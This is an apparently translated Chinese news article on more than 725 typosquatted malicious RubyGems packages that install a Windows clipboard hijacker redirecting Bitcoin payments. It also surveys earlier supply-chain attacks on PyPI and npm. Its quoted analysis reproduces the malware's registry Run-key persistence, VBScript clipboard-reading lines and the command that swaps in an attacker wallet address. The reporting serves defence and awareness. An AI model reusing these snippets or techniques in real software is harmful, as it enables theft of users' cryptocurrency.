近发现,有超过725个恶意软件包被下载了数千次,这些恶意软件包填充了RubyGems,RubyGems是分发Ruby编程语言的程序和代码库的官方渠道。
安全公司ReversingLabs的联合创始人兼首席软件设计师Tomislav Pericin告诉Ars,恶意软件包的下载量接近100,000次,尽管其中很大一部分可能是脚本自动抓取了存储库中所有158,000个软件包的结果。它们全部来自两个用户帐户:“ JimCarrey”和“ PeterGibbons”。
ReversingLabs怀疑这些帐户可能是一个人的工作,它们使用了多种形式的窃听行为(即为恶意文件或域名赋予类似于通常可识别名称的名称的技术),以给人以合法的印象。例如,“ atlas-client”是一个诱骗的诱饵程序包,具有2100次下载,是真实的“ atlas_client”程序包的替代品。从2月16日到25日,上传了700多个软件包。
安装后,这些软件包将执行一个脚本,该脚本试图拦截在Windows设备上进行的比特币付款。ReversingLabs威胁分析师Tomislav Maljic 在帖子中写道:
脚本本身非常简单。首先,它使用“%PROGRAMDATA%\ Microsoft Essentials \ Software Essentials.vbs”路径中的主要恶意循环创建一个新的VBScript Sle。作为其持久性机制,它然后创建一个新的自动运行注册表项“ HCU \ Software \ Microsoft \ Windows \ CurrentVersion \ Run Microsoft Software Essentials”。这样,恶意软件可确保在每次启动或重新引导系统时都运行该恶意软件。
执行“ Software Essentials.vbs”恶意脚本时,它将启动无限循环,在该循环中,它使用以下代码行捕获用户的剪贴板数据:
Set objHTML = CreateObject("htmlfile")
text = objHTML.ParentWindow.ClipboardData.GetData("text")然后,脚本将检查剪贴板数据是否与加密货币钱包地址的格式匹配。如果是这样,则使用以下命令在隐藏窗口中用攻击者控制的一个“ 1JkU5XdNLji4Ugbb8agEWL1ko5US42nNmc”替换该地址:
WScript.Shell run "C:\Windows\System32\cmd.exe /c echo 1JkU5XdNLji4Ugbb8agEWL1ko5US42nNmc | clip", 0
这样,威胁参与者就试图将所有潜在的加密货币交易重定向到其钱包地址。在撰写此博客时,似乎没有为该钱包进行任何交易。
RubyGems的维护者未回复一封寻求评论的电子邮件。
最新的几个
这绝不是人们第一次使用域名抢注来将恶意软件包潜入广泛使用的开源存储库中。2016年,一名大学生将粗略脚本上传到了RubyGems,PyPi和NPM,这是分别用于Python,Ruby和JavaScript编程语言开发人员的社区网站。学生脚本中的电话回家功能表明,冒名顶替者代码在17,000多个单独的域中执行了45,000次以上,而其代码被赋予了全部强大的管理权限的时间超过了一半。其中两个受影响的域以.mil结尾,这表明美军内部人员已在运行他的脚本。
攻击者迅速采用了该技术。在2018年,攻击者将剪贴板劫机者偷偷潜入PyPi。该恶意程序包的名称为“ Colourama”,外观类似于Colorama,它是Python存储库中下载量最高的前20个合法模块之一。该恶意软件包被下载了171次,不包括从镜像站点的下载。
一个月后,攻击者成功地偷走了窃取比特币的后门进入事件流,这是一个从NPM存储库中下载了200万次下载的代码库,从而使攻击者获得了更大的成就。名为CoPay的货币钱包的开发人员将恶意库合并到了更新中,并警告说,受污染版本所信任的任何私钥都应被视为已泄露。
这名大学生在2016年进行的实验以及对合法事件流库的诱骗措施证明,针对开源存储库的供应链攻击可能是在敏感机器上执行恶意代码的有效方法。今年的RubyGems事件表明,这些供应链攻击不会很快消失。
ReversingLabs联合创始人Pericin表示:“对于软件开发人员来说,确保它们从这些存储库安装的软件包没有恶意软件的保护措施很少。” “目前,市场上存在着巨大的缺口,恶意软件作者正在利用这一缺口。”